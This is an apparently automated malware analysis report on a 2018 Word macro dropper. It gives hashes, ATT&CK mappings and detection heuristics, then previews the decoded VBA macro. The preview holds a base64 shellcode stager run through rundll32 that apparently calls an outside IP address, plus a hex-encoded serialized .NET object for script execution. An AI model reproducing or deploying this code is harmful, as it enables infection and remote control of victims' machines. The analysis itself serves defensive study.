Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0856192c541a29bf…

MALICIOUS

Office (OLE)

116.5 KB Created: 2018-02-16 16:53:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: fe05b30947862629999624db6a129dbe SHA-1: 27f399d5c92d9f64f1027ca98cabdc3a4c5af23d SHA-256: 0856192c541a29bfc7450d1c87b1bebb3fa7af9c37f9f6003c918d6ca482c09c
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The script attempts to download and execute a payload using 'rundll32.exe' and a heavily obfuscated string that likely represents a URL or encoded data. ClamAV detections further confirm its malicious nature as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28388 bytes
SHA-256: c15171e28e2671482fc97f72da1ea3e1efb100e35aa92fe61fb34fd803a27ccd
Detection
ClamAV: Win.Countermeasure.G2JS_Script_Generic_1-9818937-0
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LinesOfBusiness"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public binary As String
Public code As String

Sub Init()
    binary = "rundll32.exe"

    code = ""
    code = code & "/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPj"
    code = code & "PEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABo"
    code = code & "d2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRS"
    code = code & "UlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXi"
    code = code & "Xf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L09YcUQAPl7kiNxqHywZ"
    code = code & "bQRuxzXKcd7U3oO/225XULafJyRGgKKXqICcymR6kPbASBn5X6S292+RXS7bNkWSI6/NZ5Qyj/ESgUJRH/Ox7ABVc2VyLUFnZW50"
    code = code & "OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvDQoAica5LxPPv36K"
    code = code & "PYdX32hbTGTg/un19G3kBypV+RQvr5OglTw+UlH9NDy0aZ3VIiq9+h8mQnjLP7pAvORgtdE5zF3z2jEG4R1Esaa8ymW0DoMQtNky"
    code = code & "tT18Jgn7a5+jDXkL2RkVDAYFFwW/2zmgHTSJ7/ZibJWRpxUkXK+Gj5deTXWBLgBny4rvG4OkhptWja4PAOBg9sSNEHbbk4tMvH8M"
    code = code & "vW7Du794onf9GayS0doLW1yz0uJ29pcuw79E7I7AAqBim454Ma4caYq/VoCLakpP3oYbZ6xpXgfps+K712z6p3QlLjsAaPC1olb/"
    code = code & "1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zM1LjE4My4y"
    code = code & "LjU1AAe4BrU="
End Sub

Private Function decodeHex(hex)
    On Error Resume Next
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM")
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.hex"
    EL.Text = hex
    decodeHex = EL.NodeTypedValue
End Function

Function Run()
    Dim serialized_obj
        serialized_obj = "0001000000FFFFFFFF010000000000000004010000002253797374656D2E44656C656761746553657269616C697A6174696F"
    serialized_obj = serialized_obj & "6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300303033053797374656D2E44656C"
    serialized_obj = serialized_obj & "656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E7472792253797374656D2E44656C65"
    serialized_obj = serialized_obj & "6761746553657269616C697A6174696F6E486F6C6465722F53797374656D2E5265666C656374696F6E2E4D656D626572496E"
    serialized_obj = serialized_obj & "666F53657269616C697A6174696F6E486F6C64657209020000000903000000090400000004020000003053797374656D2E44"
    serialized_obj = serialized_obj & "656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E74727907000000047479706508"
    serialized_obj = serialized_obj & "617373656D626C79067461726765741274617267657454797065417373656D626C790E746172676574547970654E616D650A"
    serialized_obj = serialized_obj & "6D6574686F644E616D650D64656C6567617465456E747279010102010101033053797374656D2E44656C6567617465536572"
    serialized_obj = serialized_obj & "69616C697A6174696F6E486F6C6465722B44656C6567617465456E74727906050000002F53797374656D2E52756E74696D65"
    serialized_obj = serialized_obj & "2E52656D6F74696E672E4D6573736167696E672E48656164657248616E646C657206060000004B6D73636F726C69622C2056"
    serialized_obj = serialized_obj & "657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237"
    serialized_obj = serialized_obj & "376135633536313933346530383906070000000774617267657430090600000006090000000F53797374656D2E44656C6567"
    serialized_obj = serialized_obj & "617465060A0000000D44796E616D6963496E766F6B650A04030000002253797374656D2E44656C656761746553657269616C"
    serialized_obj = serialized_obj & "697A6174696F6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300307033053797374"
    serialized_obj = serialized_obj & "
... (truncated)

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